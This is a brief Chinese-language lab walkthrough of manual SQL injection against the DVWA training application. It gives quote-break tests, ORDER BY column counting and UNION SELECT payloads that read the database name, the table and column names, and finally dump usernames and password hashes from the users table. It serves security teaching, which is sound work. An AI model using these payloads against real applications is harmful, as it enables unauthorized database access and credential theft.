輸入1,返回正常,輸入1‘ and ’1‘=’2,返回空,輸入1‘ or 1234=1234 #
說明存在字符型注入。
然後猜解字段數,輸入1‘ order by 1 #,返回正常,輸入1’ order by 2 #,返回正常
輸入1‘ order by 3 #,報錯,說明只有兩個字段,即First name、Surname。
確定顯示的字段順序
輸入1′ union select 1,2 #,查詢成功:
說明執行的SQL語句爲select First name,Surname from 表 where ID=’id’…
獲取當前數據庫,執行1' union select 1,database() #,返回正常
說明當前數據庫爲dvwa
獲取數據庫中的表。1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查詢成功
說明兩個表名分別爲guestbook,users。
獲取字段名,輸入1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #,查詢成功
最後1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢成功